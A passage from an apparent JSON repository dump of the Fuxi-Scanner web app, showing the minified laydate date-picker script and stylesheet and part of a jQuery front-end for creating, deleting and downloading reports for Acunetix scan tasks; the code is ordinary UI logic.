t=this,n=(t.config,w.elem(\"div\",{\"class\":h}));n.innerHTML=e||\"\",w(t.elem).find(\".\"+h).remove(),t.elem.appendChild(n),clearTimeout(t.hinTimer),t.hinTimer=setTimeout(function(){w(t.elem).find(\".\"+h).remove()},3e3)},T.prototype.getAsYM=function(e,t,n){return n?t--:t++,t<0&&(t=11,e--),t>11&&(t=0,e++),[e,t]},T.prototype.systemDate=function(e){var t=e||new Date;return{year:t.getFullYear(),month:t.getMonth(),date:t.getDate(),hours:e?e.getHours():0,minutes:e?e.getMinutes():0,seconds:e?e.getSeconds():0}},T.prototype.checkDate=function(e){var t,a,i=this,r=(new Date,i.config),o=r.dateTime=r.dateTime||i.systemDate(),s=i.bindElem||r.elem[0],l=(i.isInput(s)?\"val\":\"html\",i.isInput(s)?s.value:\"static\"===r.position?\"\":s.innerHTML),c=function(e){e.year>d[1]&&(e.year=d[1],a=!0),e.month>11&&(e.month=11,a=!0),e.hours>23&&(e.hours=0,a=!0),e.minutes>59&&(e.minutes=0,e.hours++,a=!0),e.seconds>59&&(e.seconds=0,e.minutes++,a=!0),t=n.getEndDate(e.month+1,e.year),e.date>t&&(e.date=t,a=!0)},m=function(e,t,n){var o=[\"startTime\",\"endTime\"];t=(t.match(i.EXP_SPLIT)||[]).slice(1),n=n||0,r.range&&(i[o[n]]=i[o[n]]||{}),w.each(i.format,function(s,l){var c=parseFloat(t[s]);t[s].length<l.length&&(a=!0),/yyyy|y/.test(l)?(c<d[0]&&(c=d[0],a=!0),e.year=c):/MM|M/.test(l)?(c<1&&(c=1,a=!0),e.month=c-1):/dd|d/.test(l)?(c<1&&(c=1,a=!0),e.date=c):/HH|H/.test(l)?(c<1&&(c=0,a=!0),e.hours=c,r.range&&(i[o[n]].hours=c)):/mm|m/.test(l)?(c<1&&(c=0,a=!0),e.minutes=c,r.range&&(i[o[n]].minutes=c)):/ss|s/.test(l)&&(c<1&&(c=0,a=!0),e.seconds=c,r.range&&(i[o[n]].seconds=c))}),c(e)};return\"limit\"===e?(c(o),i):(l=l||r.value,\"string\"==typeof l&&(l=l.replace(/\\s+/g,\" \").replace(/^\\s|\\s$/g,\"\")),i.startState&&!i.endState&&(delete i.startState,i.endState=!0),\"string\"==typeof l&&l?i.EXP_IF.test(l)?r.range?(l=l.split(\" \"+r.range+\" \"),i.startDate=i.startDate||i.systemDate(),i.endDate=i.endDate||i.systemDate(),r.dateTime=w.extend({},i.startDate),w.each([i.startDate,i.endDate],function(e,t){m(t,l[e],e)})):m(o,l):(i.hint(\"日期格式不合法<br>必须遵循下述格式：<br>\"+(r.range?r.format+\" \"+r.range+\" \"+r.format:r.format)+\"<br>已为你重置\"),a=!0):l&&l.constructor===Date?r.dateTime=i.systemDate(l):(r.dateTime=i.systemDate(),delete i.startState,delete i.endState,delete i.startDate,delete i.endDate,delete i.startTime,delete i.endTime),c(o),a&&l&&i.setValue(r.range?i.endDate?i.parse():\"\":i.parse()),e&&e(),i)},T.prototype.mark=function(e,t){var n,a=this,i=a.config;return w.each(i.mark,function(e,a){var i=e.split(\"-\");i[0]!=t[0]&&0!=i[0]||i[1]!=t[1]&&0!=i[1]||i[2]!=t[2]||(n=a||t[2])}),n&&e.html('<span class=\"laydate-day-mark\">'+n+\"</span>\"),a},T.prototype.limit=function(e,t,n,a){var i,r=this,o=r.config,l={},d=o[n>41?\"endDate\":\"dateTime\"],c=w.extend({},d,t||{});return w.each({now:c,min:o.min,max:o.max},function(e,t){l[e]=r.newDate(w.extend({year:t.year,month:t.month,date:t.date},function(){var e={};return w.each(a,function(n,a){e[a]=t[a]}),e}())).getTime()}),i=l.now<l.min||l.now>l.max,e&&e[i?\"addClass\":\"removeClass\"](s),i},T.prototype.calendar=function(e){var t,a,i,r=this,s=r.config,l=e||s.dateTime,c=new Date,m=r.lang(),u=\"date\"!==s.type&&\"datetime\"!==s.type,h=e?1:0,y=w(r.table[h]).find(\"td\"),f=w(r.elemHeader[h][2]).find(\"span\");if(l.year<d[0]&&(l.year=d[0],r.hint(\"最低只能支持到公元\"+d[0]+\"年\")),l.year>d[1]&&(l.year=d[1],r.hint(\"最高只能支持到公元\"+d[1]+\"年\")),r.firstDate||(r.firstDate=w.extend({},l)),c.setFullYear(l.year,l.month,1),t=c.getDay(),a=n.getEndDate(l.month||12,l.year),i=n.getEndDate(l.month+1,l.year),w.each(y,function(e,n){var d=[l.year,l.month],c=0;n=w(n),n.removeAttr(\"class\"),e<t?(c=a-t+e,n.addClass(\"laydate-day-prev\"),d=r.getAsYM(l.year,l.month,\"sub\")):e>=t&&e<i+t?(c=e-t,s.range||c+1===l.date&&n.addClass(o)):(c=e-i-t,n.addClass(\"laydate-day-next\"),d=r.getAsYM(l.year,l.month)),d[1]++,d[2]=c+1,n.attr(\"lay-ymd\",d.join(\"-\")).html(d[2]),r.mark(n,d).limit(n,{year:d[0],month:d[1]-1,date:d[2]},e)}),w(f[0]).attr(\"lay-ym\",l.year+\"-\"+(l.month+1)),w(f[1]).attr(\"lay-ym\",l.year+\"-\"+(l.month+1)),\"cn\"===s.lang?(w(f[0]).attr(\"lay-type\",\"year\").html(l.year+\"年\"),w(f[1]).attr(\"lay-type\",\"month\").html(l.month+1+\"月\")):(w(f[0]).attr(\"lay-type\",\"month\").html(m.month[l.month]),w(f[1]).attr(\"lay-type\",\"year\").html(l.year)),u&&(s.range&&(e?r.endDate=r.endDate||{year:l.year+(\"year\"===s.type?1:0),month:l.month+(\"month\"===s.type?0:-1)}:r.startDate=r.startDate||{year:l.year,month:l.month},e&&(r.listYM=[[r.startDate.year,r.startDate.month+1],[r.endDate.year,r.endDate.month+1]],r.list(s.type,0).list(s.type,1),\"time\"===s.type?r.setBtnStatus(\"时间\",w.extend({},r.systemDate(),r.startTime),w.extend({},r.systemDate(),r.endTime)):r.setBtnStatus(!0))),s.range||(r.listYM=[[l.year,l.month+1]],r.list(s.type,0))),s.range&&!e){var p=r.getAsYM(l.year,l.month);r.calendar(w.extend({},l,{year:p[0],month:p[1]}))}return s.range||r.limit(w(r.footer).find(g),null,0,[\"hours\",\"minutes\",\"seconds\"]),s.range&&e&&!u&&r.stampRange(),r},T.prototype.list=function(e,t){var n=this,a=n.config,i=a.dateTime,r=n.lang(),l=a.range&&\"date\"!==a.type&&\"datetime\"!==a.type,d=w.elem(\"ul\",{\"class\":m+\" \"+{year:\"laydate-year-list\",month:\"laydate-month-list\",time:\"laydate-time-list\"}[e]}),c=n.elemHeader[t],u=w(c[2]).find(\"span\"),h=n.elemCont[t||0],y=w(h).find(\".\"+m)[0],f=\"cn\"===a.lang,p=f?\"年\":\"\",T=n.listYM[t]||{},C=[\"hours\",\"minutes\",\"seconds\"],x=[\"startTime\",\"endTime\"][t];if(T[0]<1&&(T[0]=1),\"year\"===e){var M,b=M=T[0]-7;b<1&&(b=M=1),w.each(new Array(15),function(e){var i=w.elem(\"li\",{\"lay-ym\":M}),r={year:M};M==T[0]&&w(i).addClass(o),i.innerHTML=M+p,d.appendChild(i),M<n.firstDate.year?(r.month=a.min.month,r.date=a.min.date):M>=n.firstDate.year&&(r.month=a.max.month,r.date=a.max.date),n.limit(w(i),r,t),M++}),w(u[f?0:1]).attr(\"lay-ym\",M-8+\"-\"+T[1]).html(b+p+\" - \"+(M-1+p))}else if(\"month\"===e)w.each(new Array(12),function(e){var i=w.elem(\"li\",{\"lay-ym\":e}),s={year:T[0],month:e};e+1==T[1]&&w(i).addClass(o),i.innerHTML=r.month[e]+(f?\"月\":\"\"),d.appendChild(i),T[0]<n.firstDate.year?s.date=a.min.date:T[0]>=n.firstDate.year&&(s.date=a.max.date),n.limit(w(i),s,t)}),w(u[f?0:1]).attr(\"lay-ym\",T[0]+\"-\"+T[1]).html(T[0]+p);else if(\"time\"===e){var E=function(){w(d).find(\"ol\").each(function(e,a){w(a).find(\"li\").each(function(a,i){n.limit(w(i),[{hours:a},{hours:n[x].hours,minutes:a},{hours:n[x].hours,minutes:n[x].minutes,seconds:a}][e],t,[[\"hours\"],[\"hours\",\"minutes\"],[\"hours\",\"minutes\",\"seconds\"]][e])})}),a.range||n.limit(w(n.footer).find(g),n[x],0,[\"hours\",\"minutes\",\"seconds\"])};a.range?n[x]||(n[x]={hours:0,minutes:0,seconds:0}):n[x]=i,w.each([24,60,60],function(e,t){var a=w.elem(\"li\"),i=[\"<p>\"+r.time[e]+\"</p><ol>\"];w.each(new Array(t),function(t){i.push(\"<li\"+(n[x][C[e]]===t?' class=\"'+o+'\"':\"\")+\">\"+w.digit(t,2)+\"</li>\")}),a.innerHTML=i.join(\"\")+\"</ol>\",d.appendChild(a)}),E()}if(y&&h.removeChild(y),h.appendChild(d),\"year\"===e||\"month\"===e)w(n.elemMain[t]).addClass(\"laydate-ym-show\"),w(d).find(\"li\").on(\"click\",function(){var r=0|w(this).attr(\"lay-ym\");if(!w(this).hasClass(s)){if(0===t)i[e]=r,l&&(n.startDate[e]=r),n.limit(w(n.footer).find(g),null,0);else if(l)n.endDate[e]=r;else{var c=\"year\"===e?n.getAsYM(r,T[1]-1,\"sub\"):n.getAsYM(T[0],r,\"sub\");w.extend(i,{year:c[0],month:c[1]})}\"year\"===a.type||\"month\"===a.type?(w(d).find(\".\"+o).removeClass(o),w(this).addClass(o),\"month\"===a.type&&\"year\"===e&&(n.listYM[t][0]=r,l&&(n[[\"startDate\",\"endDate\"][t]].year=r),n.list(\"month\",t))):(n.checkDate(\"limit\").calendar(),n.closeList()),n.setBtnStatus(),a.range||n.done(null,\"change\"),w(n.footer).find(D).removeClass(s)}});else{var S=w.elem(\"span\",{\"class\":v}),k=function(){w(d).find(\"ol\").each(function(e){var t=this,a=w(t).find(\"li\");t.scrollTop=30*(n[x][C[e]]-2),t.scrollTop<=0&&a.each(function(e,n){if(!w(this).hasClass(s))return t.scrollTop=30*(e-2),!0})})},H=w(c[2]).find(\".\"+v);k(),S.innerHTML=a.range?[r.startTime,r.endTime][t]:r.timeTips,w(n.elemMain[t]).addClass(\"laydate-time-show\"),H[0]&&H.remove(),c[2].appendChild(S),w(d).find(\"ol\").each(function(e){var t=this;w(t).find(\"li\").on(\"click\",function(){var r=0|this.innerHTML;w(this).hasClass(s)||(a.range?n[x][C[e]]=r:i[C[e]]=r,w(t).find(\".\"+o).removeClass(o),w(this).addClass(o),E(),k(),(n.endDate||\"time\"===a.type)&&n.done(null,\"change\"),n.setBtnStatus())})})}return n},T.prototype.listYM=[],T.prototype.closeList=function(){var e=this;e.config;w.each(e.elemCont,function(t,n){w(this).find(\".\"+m).remove(),w(e.elemMain[t]).removeClass(\"laydate-ym-show laydate-time-show\")}),w(e.elem).find(\".\"+v).remove()},T.prototype.setBtnStatus=function(e,t,n){var a,i=this,r=i.config,o=w(i.footer).find(g),d=r.range&&\"date\"!==r.type&&\"time\"!==r.type;d&&(t=t||i.startDate,n=n||i.endDate,a=i.newDate(t).getTime()>i.newDate(n).getTime(),i.limit(null,t)||i.limit(null,n)?o.addClass(s):o[a?\"addClass\":\"removeClass\"](s),e&&a&&i.hint(\"string\"==typeof e?l.replace(/日期/g,e):l))},T.prototype.parse=function(e,t){var n=this,a=n.config,i=t||(e?w.extend({},n.endDate,n.endTime):a.range?w.extend({},n.startDate,n.startTime):a.dateTime),r=n.format.concat();return w.each(r,function(e,t){/yyyy|y/.test(t)?r[e]=w.digit(i.year,t.length):/MM|M/.test(t)?r[e]=w.digit(i.month+1,t.length):/dd|d/.test(t)?r[e]=w.digit(i.date,t.length):/HH|H/.test(t)?r[e]=w.digit(i.hours,t.length):/mm|m/.test(t)?r[e]=w.digit(i.minutes,t.length):/ss|s/.test(t)&&(r[e]=w.digit(i.seconds,t.length))}),a.range&&!e?r.join(\"\")+\" \"+a.range+\" \"+n.parse(1):r.join(\"\")},T.prototype.newDate=function(e){return e=e||{},new Date(e.year||1,e.month||0,e.date||1,e.hours||0,e.minutes||0,e.seconds||0)},T.prototype.setValue=function(e){var t=this,n=t.config,a=t.bindElem||n.elem[0],i=t.isInput(a)?\"val\":\"html\";return\"static\"===n.position||w(a)[i](e||\"\"),this},T.prototype.stampRange=function(){var e,t,n=this,a=n.config,i=w(n.elem).find(\"td\");if(a.range&&!n.endDate&&w(n.footer).find(g).addClass(s),n.endDate)return e=n.newDate({year:n.startDate.year,month:n.startDate.month,date:n.startDate.date}).getTime(),t=n.newDate({year:n.endDate.year,month:n.endDate.month,date:n.endDate.date}).getTime(),e>t?n.hint(l):void w.each(i,function(a,i){var r=w(i).attr(\"lay-ymd\").split(\"-\"),s=n.newDate({year:r[0],month:r[1]-1,date:r[2]}).getTime();w(i).removeClass(u+\" \"+o),s!==e&&s!==t||w(i).addClass(w(i).hasClass(y)||w(i).hasClass(f)?u:o),s>e&&s<t&&w(i).addClass(u)})},T.prototype.done=function(e,t){var n=this,a=n.config,i=w.extend({},n.startDate?w.extend(n.startDate,n.startTime):a.dateTime),r=w.extend({},w.extend(n.endDate,n.endTime));return w.each([i,r],function(e,t){\"month\"in t&&w.extend(t,{month:t.month+1})}),e=e||[n.parse(),i,r],\"function\"==typeof a[t||\"done\"]&&a[t||\"done\"].apply(a,e),n},T.prototype.choose=function(e){var t=this,n=t.config,a=n.dateTime,i=w(t.elem).find(\"td\"),r=e.attr(\"lay-ymd\").split(\"-\"),l=function(e){new Date;e&&w.extend(a,r),n.range&&(t.startDate?w.extend(t.startDate,r):t.startDate=w.extend({},r,t.startTime),t.startYMD=r)};if(r={year:0|r[0],month:(0|r[1])-1,date:0|r[2]},!e.hasClass(s))if(n.range){if(w.each([\"startTime\",\"endTime\"],function(e,n){t[n]=t[n]||{hours:0,minutes:0,seconds:0}}),t.endState)l(),delete t.endState,delete t.endDate,t.startState=!0,i.removeClass(o+\" \"+u),e.addClass(o);else if(t.startState){if(e.addClass(o),t.endDate?w.extend(t.endDate,r):t.endDate=w.extend({},r,t.endTime),t.newDate(r).getTime()<t.newDate(t.startYMD).getTime()){var d=w.extend({},t.endDate,{hours:t.startDate.hours,minutes:t.startDate.minutes,seconds:t.startDate.seconds});w.extend(t.endDate,t.startDate,{hours:t.endDate.hours,minutes:t.endDate.minutes,seconds:t.endDate.seconds}),t.startDate=d}n.showBottom||t.done(),t.stampRange(),t.endState=!0,t.done(null,\"change\")}else e.addClass(o),l(),t.startState=!0;w(t.footer).find(g)[t.endDate?\"removeClass\":\"addClass\"](s)}else\"static\"===n.position?(l(!0),t.calendar().done().done(null,\"change\")):\"date\"===n.type?(l(!0),t.setValue(t.parse()).remove().done()):\"datetime\"===n.type&&(l(!0),t.calendar().done(null,\"change\"))},T.prototype.tool=function(e,t){var n=this,a=n.config,i=a.dateTime,r=\"static\"===a.position,o={datetime:function(){w(e).hasClass(s)||(n.list(\"time\",0),a.range&&n.list(\"time\",1),w(e).attr(\"lay-type\",\"date\").html(n.lang().dateTips))},date:function(){n.closeList(),w(e).attr(\"lay-type\",\"datetime\").html(n.lang().timeTips)},clear:function(){n.setValue(\"\").remove(),r&&(w.extend(i,n.firstDate),n.calendar()),a.range&&(delete n.startState,delete n.endState,delete n.endDate,delete n.startTime,delete n.endTime),n.done([\"\",{},{}])},now:function(){var e=new Date;w.extend(i,n.systemDate(),{hours:e.getHours(),minutes:e.getMinutes(),seconds:e.getSeconds()}),n.setValue(n.parse()).remove(),r&&n.calendar(),n.done()},confirm:function(){if(a.range){if(!n.endDate)return n.hint(\"请先选择日期范围\");if(w(e).hasClass(s))return n.hint(\"time\"===a.type?l.replace(/日期/g,\"时间\"):l)}else if(w(e).hasClass(s))return n.hint(\"不在有效日期或时间范围内\");n.done(),n.setValue(n.parse()).remove()}};o[t]&&o[t]()},T.prototype.change=function(e){var t=this,n=t.config,a=n.dateTime,i=n.range&&(\"year\"===n.type||\"month\"===n.type),r=t.elemCont[e||0],o=t.listYM[e],s=function(s){var l=[\"startDate\",\"endDate\"][e],d=w(r).find(\".laydate-year-list\")[0],c=w(r).find(\".laydate-month-list\")[0];return d&&(o[0]=s?o[0]-15:o[0]+15,t.list(\"year\",e)),c&&(s?o[0]--:o[0]++,t.list(\"month\",e)),(d||c)&&(w.extend(a,{year:o[0]}),i&&(t[l].year=o[0]),n.range||t.done(null,\"change\"),t.setBtnStatus(),n.range||t.limit(w(t.footer).find(g),{year:o[0]})),d||c};return{prevYear:function(){s(\"sub\")||(a.year--,t.checkDate(\"limit\").calendar(),n.range||t.done(null,\"change\"))},prevMonth:function(){var e=t.getAsYM(a.year,a.month,\"sub\");w.extend(a,{year:e[0],month:e[1]}),t.checkDate(\"limit\").calendar(),n.range||t.done(null,\"change\")},nextMonth:function(){var e=t.getAsYM(a.year,a.month);w.extend(a,{year:e[0],month:e[1]}),t.checkDate(\"limit\").calendar(),n.range||t.done(null,\"change\")},nextYear:function(){s()||(a.year++,t.checkDate(\"limit\").calendar(),n.range||t.done(null,\"change\"))}}},T.prototype.changeEvent=function(){var e=this;e.config;w(e.elem).on(\"click\",function(e){w.stope(e)}),w.each(e.elemHeader,function(t,n){w(n[0]).on(\"click\",function(n){e.change(t).prevYear()}),w(n[1]).on(\"click\",function(n){e.change(t).prevMonth()}),w(n[2]).find(\"span\").on(\"click\",function(n){var a=w(this),i=a.attr(\"lay-ym\"),r=a.attr(\"lay-type\");i&&(i=i.split(\"-\"),e.listYM[t]=[0|i[0],0|i[1]],e.list(r,t),w(e.footer).find(D).addClass(s))}),w(n[3]).on(\"click\",function(n){e.change(t).nextMonth()}),w(n[4]).on(\"click\",function(n){e.change(t).nextYear()})}),w.each(e.table,function(t,n){var a=w(n).find(\"td\");a.on(\"click\",function(){e.choose(w(this))})}),w(e.footer).find(\"span\").on(\"click\",function(){var t=w(this).attr(\"lay-type\");e.tool(this,t)})},T.prototype.isInput=function(e){return/input|textarea/.test(e.tagName.toLocaleLowerCase())},T.prototype.events=function(){var e=this,t=e.config,n=function(n,a){n.on(t.trigger,function(){a&&(e.bindElem=this),e.render()})};t.elem[0]&&!t.elem[0].eventHandler&&(n(t.elem,\"bind\"),n(t.eventElem),w(document).on(\"click\",function(n){n.target!==t.elem[0]&&n.target!==t.eventElem[0]&&n.target!==w(t.closeStop)[0]&&e.remove()}).on(\"keydown\",function(t){13===t.keyCode&&w(\"#\"+e.elemID)[0]&&e.elemID===T.thisElem&&(t.preventDefault(),w(e.footer).find(g)[0].click())}),w(window).on(\"resize\",function(){return!(!e.elem||!w(r)[0])&&void e.position()}),t.elem[0].eventHandler=!0)},n.render=function(e){var t=new T(e);return a.call(t)},n.getEndDate=function(e,t){var n=new Date;return n.setFullYear(t||n.getFullYear(),e||n.getMonth()+1,1),new Date(n.getTime()-864e5).getDate()},window.lay=window.lay||w,e?(n.ready(),layui.define(function(e){n.path=layui.cache.dir,e(i,n)})):\"function\"==typeof define&&define.amd?define(function(){return n}):function(){n.ready(),window.laydate=n}()}();"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/laydate.css",
    "content": "/*! laydate-v5.0.9 日期与时间组件 MIT License  http://www.layui.com/laydate/  By 贤心 */\n.laydate-set-ym,.layui-laydate,.layui-laydate *,.layui-laydate-list{box-sizing:border-box}html #layuicss-laydate{display:none;position:absolute;width:1989px}.layui-laydate *{margin:0;padding:0}.layui-laydate{position:absolute;z-index:66666666;margin:5px 0;border-radius:2px;font-size:14px;-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-name:laydate-upbit;animation-name:laydate-upbit}.layui-laydate-main{width:272px}.layui-laydate-content td,.layui-laydate-header *,.layui-laydate-list li{transition-duration:.3s;-webkit-transition-duration:.3s}@-webkit-keyframes laydate-upbit{from{-webkit-transform:translate3d(0,20px,0);opacity:.3}to{-webkit-transform:translate3d(0,0,0);opacity:1}}@keyframes laydate-upbit{from{transform:translate3d(0,20px,0);opacity:.3}to{transform:translate3d(0,0,0);opacity:1}}.layui-laydate-static{position:relative;z-index:0;display:inline-block;margin:0;-webkit-animation:none;animation:none}.laydate-ym-show .laydate-next-m,.laydate-ym-show .laydate-prev-m{display:none!important}.laydate-ym-show .laydate-next-y,.laydate-ym-show .laydate-prev-y{display:inline-block!important}.laydate-time-show .laydate-set-ym span[lay-type=month],.laydate-time-show .laydate-set-ym span[lay-type=year],.laydate-time-show .layui-laydate-header .layui-icon,.laydate-ym-show .laydate-set-ym span[lay-type=month]{display:none!important}.layui-laydate-header{position:relative;line-height:30px;padding:10px 70px 5px}.laydate-set-ym span,.layui-laydate-header i{padding:0 5px;cursor:pointer}.layui-laydate-header *{display:inline-block;vertical-align:bottom}.layui-laydate-header i{position:absolute;top:10px;color:#999;font-size:18px}.layui-laydate-header i.laydate-prev-y{left:15px}.layui-laydate-header i.laydate-prev-m{left:45px}.layui-laydate-header i.laydate-next-y{right:15px}.layui-laydate-header i.laydate-next-m{right:45px}.laydate-set-ym{width:100%;text-align:center;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.laydate-time-text{cursor:default!important}.layui-laydate-content{position:relative;padding:10px;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.layui-laydate-content table{border-collapse:collapse;border-spacing:0}.layui-laydate-content td,.layui-laydate-content th{width:36px;height:30px;padding:5px;text-align:center}.layui-laydate-content td{position:relative;cursor:pointer}.laydate-day-mark{position:absolute;left:0;top:0;width:100%;height:100%;line-height:30px;font-size:12px;overflow:hidden}.laydate-day-mark::after{position:absolute;content:'';right:2px;top:2px;width:5px;height:5px;border-radius:50%}.layui-laydate-footer{position:relative;height:46px;line-height:26px;padding:10px 20px}.layui-laydate-footer span{margin-right:15px;display:inline-block;cursor:pointer;font-size:12px}.layui-laydate-footer span:hover{color:#5FB878}.laydate-footer-btns{position:absolute;right:10px;top:10px}.laydate-footer-btns span{height:26px;line-height:26px;margin:0 0 0 -1px;padding:0 10px;border:1px solid #C9C9C9;background-color:#fff;white-space:nowrap;vertical-align:top;border-radius:2px}.layui-laydate-list>li,.layui-laydate-range .layui-laydate-main{display:inline-block;vertical-align:middle}.layui-laydate-list{position:absolute;left:0;top:0;width:100%;height:100%;padding:10px;background-color:#fff}.layui-laydate-list>li{position:relative;width:33.3%;height:36px;line-height:36px;margin:3px 0;text-align:center;cursor:pointer}.laydate-month-list>li{width:25%;margin:17px 0}.laydate-time-list>li{height:100%;margin:0;line-height:normal;cursor:default}.laydate-time-list p{position:relative;top:-4px;line-height:29px}.laydate-time-list ol{height:181px;overflow:hidden}.laydate-time-list>li:hover ol{overflow-y:auto}.laydate-time-list ol li{width:130%;padding-left:33px;line-height:30px;text-align:left;cursor:pointer}.layui-laydate-hint{position:absolute;top:115px;left:50%;width:250px;margin-left:-125px;line-height:20px;padding:15px;text-align:center;font-size:12px}.layui-laydate-range{width:546px}.layui-laydate-range .laydate-main-list-0 .laydate-next-m,.layui-laydate-range .laydate-main-list-0 .laydate-next-y,.layui-laydate-range .laydate-main-list-1 .laydate-prev-m,.layui-laydate-range .laydate-main-list-1 .laydate-prev-y{display:none}.layui-laydate-range .laydate-main-list-1 .layui-laydate-content{border-left:1px solid #e2e2e2}.layui-laydate,.layui-laydate-hint{border:1px solid #d2d2d2;box-shadow:0 2px 4px rgba(0,0,0,.12);background-color:#fff;color:#666}.layui-laydate-header{border-bottom:1px solid #e2e2e2}.layui-laydate-header i:hover,.layui-laydate-header span:hover{color:#5FB878}.layui-laydate-content{border-top:none 0;border-bottom:none 0}.layui-laydate-content th{font-weight:400;color:#333}.layui-laydate-content td{color:#666}.layui-laydate-content td.laydate-selected{background-color:#00F7DE}.laydate-selected:hover{background-color:#00F7DE!important}.layui-laydate-content td:hover,.layui-laydate-list li:hover{background-color:#eaeaea;color:#333}.laydate-time-list li ol{margin:0;padding:0;border:1px solid #e2e2e2;border-left-width:0}.laydate-time-list li:first-child ol{border-left-width:1px}.laydate-time-list>li:hover{background:0 0}.layui-laydate-content .laydate-day-next,.layui-laydate-content .laydate-day-prev{color:#d2d2d2}.laydate-selected.laydate-day-next,.laydate-selected.laydate-day-prev{background-color:#f8f8f8!important}.layui-laydate-footer{border-top:1px solid #e2e2e2}.layui-laydate-hint{color:#FF5722}.laydate-day-mark::after{background-color:#5FB878}.layui-laydate-content td.layui-this .laydate-day-mark::after{display:none}.layui-laydate-footer span[lay-type=date]{color:#5FB878}.layui-laydate .layui-this{background-color:#009688!important;color:#fff!important}.layui-laydate .laydate-disabled,.layui-laydate .laydate-disabled:hover{background:0 0!important;color:#d2d2d2!important;cursor:not-allowed!important;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.laydate-theme-molv{border:none}.laydate-theme-molv.layui-laydate-range{width:548px}.laydate-theme-molv .layui-laydate-main{width:274px}.laydate-theme-molv .layui-laydate-header{border:none;background-color:#009688}.laydate-theme-molv .layui-laydate-header i,.laydate-theme-molv .layui-laydate-header span{color:#f6f6f6}.laydate-theme-molv .layui-laydate-header i:hover,.laydate-theme-molv .layui-laydate-header span:hover{color:#fff}.laydate-theme-molv .layui-laydate-content{border:1px solid #e2e2e2;border-top:none;border-bottom:none}.laydate-theme-molv .laydate-main-list-1 .layui-laydate-content{border-left:none}.laydate-theme-grid .laydate-month-list>li,.laydate-theme-grid .laydate-year-list>li,.laydate-theme-grid .layui-laydate-content td,.laydate-theme-grid .layui-laydate-content thead,.laydate-theme-molv .layui-laydate-footer{border:1px solid #e2e2e2}.laydate-theme-grid .laydate-selected,.laydate-theme-grid .laydate-selected:hover{background-color:#f2f2f2!important;color:#009688!important}.laydate-theme-grid .laydate-selected.laydate-day-next,.laydate-theme-grid .laydate-selected.laydate-day-prev{color:#d2d2d2!important}.laydate-theme-grid .laydate-month-list,.laydate-theme-grid .laydate-year-list{margin:1px 0 0 1px}.laydate-theme-grid .laydate-month-list>li,.laydate-theme-grid .laydate-year-list>li{margin:0 -1px -1px 0}.laydate-theme-grid .laydate-year-list>li{height:43px;line-height:43px}.laydate-theme-grid .laydate-month-list>li{height:71px;line-height:71px}@font-face{font-family:laydate-icon;src:url(font/iconfont.eot);src:url(font/iconfont.eot#iefix) format('embedded-opentype'),url(font/iconfont.svg#iconfont) format('svg'),url(font/iconfont.woff) format('woff'),url(font/iconfont.ttf) format('truetype')}.laydate-icon{font-family:laydate-icon!important;font-size:16px;font-style:normal;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/acunetix-scanner.js",
    "content": "$(function () {\n    $('#sampleTable').DataTable();\n    $(\".new-scan\").click(function () {\n        const task_name = $('[name=\"task_name\"]').val();\n        const target_addr = $('[name=\"target_addr\"]').val();\n        const scan_type = $('[name=\"scan_type\"]').val();\n        const description_val = $('[name=\"description_val\"]').val();\n        if (!task_name || !target_addr || !scan_type) {\n            swal(\"Warning\", \"Please check the input!\", \"error\");\n        } else {\n            $.post('/acunetix-scanner', {\n                \"task_name\": task_name,\n                \"target_addr\": target_addr,\n                \"scan_type\": scan_type,\n                \"description_val\": description_val,\n                \"source\": \"new_scan\"\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                            title: \"Task added successfully!\",\n                            text: \"\",\n                            type: \"success\",\n                            confirmButtonColor: \"#41b883\",\n                            confirmButtonText: \"ok\",\n                            closeOnConfirm: false\n                        },\n                        function () {\n                            location.href = \"/acunetix-scanner\";\n                        });\n                } else {\n                    swal(\"Error\", \"Something wrong\", \"error\");\n                }\n            })\n        }\n    });\n});\n\nfunction delete_scan(nid){\n    swal({\n      title: \"Are you sure want to delete?\",\n      text: \"\",\n      type: \"warning\",\n      showCancelButton: true,\n      confirmButtonColor: \"#DD6B55\",\n      confirmButtonText: \"Delete！\",\n      closeOnConfirm: false\n    },\n    function() {\n        $.post('/acunetix-tasks', {\n            \"delete\": nid,\n            \"source\": 'delete_scan',\n        }, function (e) {\n            if (e === 'success') {\n                swal({\n                        title: \"Delete Success\",\n                        text: \"\",\n                        type: \"success\",\n                        confirmButtonColor: \"#41b883\",\n                        confirmButtonText: \"ok\",\n                        closeOnConfirm: false\n                    },\n                    function () {\n                        location.href = \"/acunetix-tasks\";\n                    });\n            } else {\n                swal(\"Error\", \"Something wrong\", \"error\");\n            }\n        })\n    })\n}\n\nfunction report_url(nid){\n    $.post('/acunetix-tasks', {\n        \"scan_id\": nid,\n        \"source\": 'report',\n    }, function (e) {\n        if (e !== 'warning') {\n            document.getElementById(\"report_download_html\").innerHTML=\"<a href=\\\"static/download/\" + e['html_url'] + \"\\\" target=\\\"view_window\\\"><button class=\\\"btn btn-primary btn-block\\\" type=\\\"button\\\">HTML</button></a>\";\n            document.getElementById(\"report_download_pdf\").innerHTML=\"<a href=\\\"static/download/\" + e['pdf_url'] + \"\\\" target=\\\"view_window\\\"><button class=\\\"btn btn-primary btn-block\\\" type=\\\"button\\\">PDF</button></a>\";\n        }\n    })\n}\n\nfunction delete_task(nid){\n    swal({\n      title: \"Are you sure want to delete?\",\n      text: \"\",\n      type: \"warning\",\n      showCancelButton: true,\n      confirmButtonColor: \"#DD6B55\",\n      confirmButtonText: \"Delete！\",\n      closeOnConfirm: false\n    },\n    function() {\n        $.post('/acunetix-scanner', {\n            \"delete\": nid,\n            \"source\": 'delete_task',\n        }, function (e) {\n            if (e === 'success') {\n                swal({\n                        title: \"Delete Success\",\n                        text: \"\",\n                        type: \"success\",\n                        confirmButtonColor: \"#41b883\",\n                        confirmButtonText: \"ok\",\n                        closeOnConfirm: false\n                    },\n                    function () {\n                        location.href = \"/acunetix-scanner\";\n                    });\n            } else {\n                swal(\"Error\", \"Something wrong\", \"error\");\n            }\n        })\n    })\n}\n\nfunction down_report(nid){\n    $.post('/acunetix-scanner', {\n        \"task_id\": nid,\n        \"source\": 'download_report',\n    }, function (e) {\n        if (e 